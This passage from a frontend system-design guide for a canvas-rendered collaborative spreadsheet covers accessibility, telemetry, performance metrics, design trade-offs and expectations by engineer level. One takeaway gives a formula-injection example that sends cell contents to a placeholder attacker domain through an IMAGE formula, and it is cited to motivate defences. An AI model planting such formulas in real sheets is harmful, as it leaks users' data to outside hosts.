    this.liveRegion.textContent = parts.join(", ");
  }

  announceSelection(range: CellRange): void {
    const rows = range.end.row - range.start.row + 1;
    const cols = range.end.col - range.start.col + 1;
    this.liveRegion.textContent =
      `Selected ${rows} rows by ${cols} columns, ` +
      `from ${this.cellLabel(range.start)} to ${this.cellLabel(range.end)}`;
  }

  announceFormulaResult(cell: string, result: CellValue): void {
    this.liveRegion.textContent = `${cell} calculated: ${result}`;
  }
}

High Contrast & Zoom

const a11yConfig = {
  // Respect prefers-reduced-motion
  animateScroll: !window.matchMedia("(prefers-reduced-motion: reduce)").matches,

  // High contrast mode: thicker borders, no subtle grays
  highContrast: window.matchMedia("(forced-colors: active)").matches,

  // Minimum cell text size: 12px regardless of zoom
  minFontSize: 12,

  // Focus indicator: 3px solid blue (visible on any background)
  focusRing: { width: 3, color: "#0066CC", offset: -1 },

  // Selection: high contrast blue with pattern fill (not just color)
  selectionFill: "rgba(0, 102, 204, 0.2)",
  selectionPattern: true, // diagonal hatch for colorblind users
};

Monitoring & Observability

MetricTargetAlert ThresholdDashboard
Frame render time (p50)< 8ms> 16ms for 10sCanvas Performance
Frame render time (p99)< 16ms> 33ms (dropped frame)Canvas Performance
Formula eval time (p95)< 20ms> 100msFormula Engine
WebSocket latency (p95)< 100ms> 500msCollaboration
WebSocket disconnect rate< 0.1%/min> 1%/minCollaboration
Memory usage (JS heap)< 300MB> 500MBClient Health
IndexedDB storage< 100MB> 200MBClient Health
Cell count per sheet< 1M> 5M (hard limit)Usage
Concurrent editors per sheet< 50> 100Collaboration
Operation queue depth< 10> 50 pending opsSync Health
First meaningful paint< 1.5s> 3sCore Web Vitals
Formula Worker restart rate< 1/hour> 5/hourFormula Engine

Client-Side Telemetry

class SpreadsheetMetrics {
  private performanceObserver: PerformanceObserver;

  trackFrameTime(): void {
    let lastFrameTime = performance.now();

    const measure = () => {
      const now = performance.now();
      const frameTime = now - lastFrameTime;
      lastFrameTime = now;

      if (frameTime > 16.67) {
        this.reportDroppedFrame(frameTime);
      }

      this.histogram("render.frame_time", frameTime);
      requestAnimationFrame(measure);
    };
    requestAnimationFrame(measure);
  }

  trackFormulaPerformance(cellCount: number, durationMs: number): void {
    this.histogram("formula.recalc_time", durationMs, { cellCount });
    if (durationMs > 100) {
      this.reportSlowRecalc(cellCount, durationMs);
    }
  }

  trackMemoryUsage(): void {
    if ("memory" in performance) {
      const { usedJSHeapSize, jsHeapSizeLimit } = (performance as any).memory;
      this.gauge("memory.heap_used", usedJSHeapSize);
      this.gauge("memory.heap_ratio", usedJSHeapSize / jsHeapSizeLimit);
    }
  }

  trackCollaborationHealth(pendingOps: number, lastAckAge: number): void {
    this.gauge("collab.pending_ops", pendingOps);
    this.gauge("collab.last_ack_age_ms", lastAckAge);

    if (pendingOps > 20) {
      this.alert("collab.queue_buildup", { pendingOps });
    }
  }
}

Trade-offs

DecisionOption AOption BChosenRationale
Grid renderingCanvas (single surface)DOM (individual cells)CanvasDOM cannot handle 1M+ cells; canvas renders 4,500 cells in < 8ms vs DOM needing 50ms+ for 1,000 elements
Formula evaluationMain thread (synchronous)Web Worker (async)Web WorkerPrevents UI blocking during large recalculations (10K+ cells); tradeoff is message serialization overhead (~2ms)
Cell storageDense 2D arraySparse Map (key: "A1")Sparse Map95%+ of cells in large sheets are empty; sparse storage uses 200MB vs 2GB+ for dense allocation
CollaborationOT (Operational Transform)CRDT (Conflict-free types)OTCell-level granularity makes OT simpler; CRDT overhead unjustified when cells don't have character-level conflicts
Dependency trackingFull graph rebuild on editIncremental dirty propagationIncrementalFull rebuild is O(n) on all formulas; incremental is O(k) where k = affected subgraph (typically < 1% of total)
Text measurementMeasure on every renderPre-compute + cacheCache with LRUmeasureText() costs 0.1ms per call; 1,000 cells = 100ms without cache. LRU keeps memory bounded.
Clipboard formatPlain text onlyMulti-format (text + HTML + internal)Multi-formatPlain text loses formatting; internal format preserves formulas; HTML enables rich paste from external sources
Undo granularityCharacter-level (every keystroke)Cell-level (on commit)Cell-levelCharacter undo in 1M cells would explode memory; cell-level with batch grouping (paste = 1 undo step) balances usability and cost
Column widthsFixed (uniform)Variable (per-column array)VariableUsers expect resize; store as Float32Array for O(1) lookup with minimal memory (16KB for 16K columns)
Frozen panesRe-render in main canvasSeparate off-screen canvasSeparate canvasFrozen content doesn't change on scroll; separate canvas eliminates redundant draws (saves 30% render time)

What Great Looks Like

Senior Engineer (L5)

  • Implements canvas-based grid renderer with viewport virtualization
  • Builds formula parser handling common functions (SUM, IF, VLOOKUP)
  • Implements cell selection model with keyboard navigation
  • Copy/paste with plain text and HTML table format
  • Basic undo/redo with operation stack
  • Addresses core performance: 60 FPS scrolling, binary search for row/col lookup
  • Mentions accessibility requirements but may not fully implement ARIA grid

Staff Engineer (L6)

  • Designs the full formula engine pipeline (tokenizer → parser → AST → evaluator)
  • Implements dependency DAG with topological sort and circular reference detection
  • Incremental recalculation algorithm with dirty propagation
  • Web Worker architecture for non-blocking formula evaluation
  • Multi-layer canvas rendering with independent invalidation
  • Collaboration protocol design (OT) with conflict resolution
  • Cache coherence strategy for real-time updates
  • Comprehensive accessibility with virtual a11y tree
  • Performance budgets with concrete metrics and monitoring

Principal Engineer (L7)

  • Designs the entire system from cell storage format to collaboration protocol to formula security sandbox
  • Considers memory pressure at 1M+ cells: column-oriented storage, shared format tables, TypedArrays for dimensions
  • Evaluates OT vs CRDT tradeoffs with specific examples of conflict scenarios in spreadsheet context
  • Designs offline-first architecture with operation queue, transform-on-reconnect, and version vector reconciliation
  • Plans horizontal scaling: WebSocket session affinity, cross-pod operation relay via pub/sub
  • Security threat model covering formula injection, CSV export attacks, and data exfiltration via computed cells
  • Defines observability strategy with frame-time histograms, formula hot-path profiling, and collaboration health metrics
  • Articulates 10+ trade-offs with quantified reasoning (not just "it depends")

Key Takeaways

  • Canvas over DOM is non-negotiable for spreadsheet grids — DOM cannot render 1M+ cells at 60 FPS. Use a layered canvas architecture where each layer (grid, content, selection, overlay) repaints independently to minimize work per frame.

  • Formula engines are compilers — the pipeline (tokenizer → parser → AST → evaluator) must be cleanly separated. The dependency DAG with topological sort enables incremental recalculation, and circular reference detection prevents infinite loops.

  • Sparse storage beats dense arrays — 95%+ of cells in real sheets are empty. Use Map<string, CellData> with shared format objects (flyweight pattern) to keep a 1M-row sheet under 200MB.

  • Viewport virtualization with binary search — never iterate all rows to find visible cells. Maintain prefix-sum arrays for row/column offsets and use O(log n) binary search on scroll position changes.

  • Collaboration at cell granularity — OT works well for spreadsheets because conflicts occur at cell level (not character level). Last-write-wins with transform handles 95% of cases; explicit conflict UI for the rest.

  • Security is a first-class concern — formula injection can exfiltrate data (=IMAGE("https://evil.com?data=" & A1)). Whitelist allowed functions, sandbox evaluation with timeouts, and never use eval().

  • Accessibility requires a parallel virtual DOM — canvas is invisible to screen readers. Maintain a hidden ARIA grid that mirrors active cell state, announce navigation and formula results via live regions, and ensure full keyboard operability.

  • Measure everything — frame render time histograms, formula evaluation p95, WebSocket ack latency, and memory heap usage. Alert on dropped frames (> 16ms render) and collaboration queue buildup (> 50 pending ops).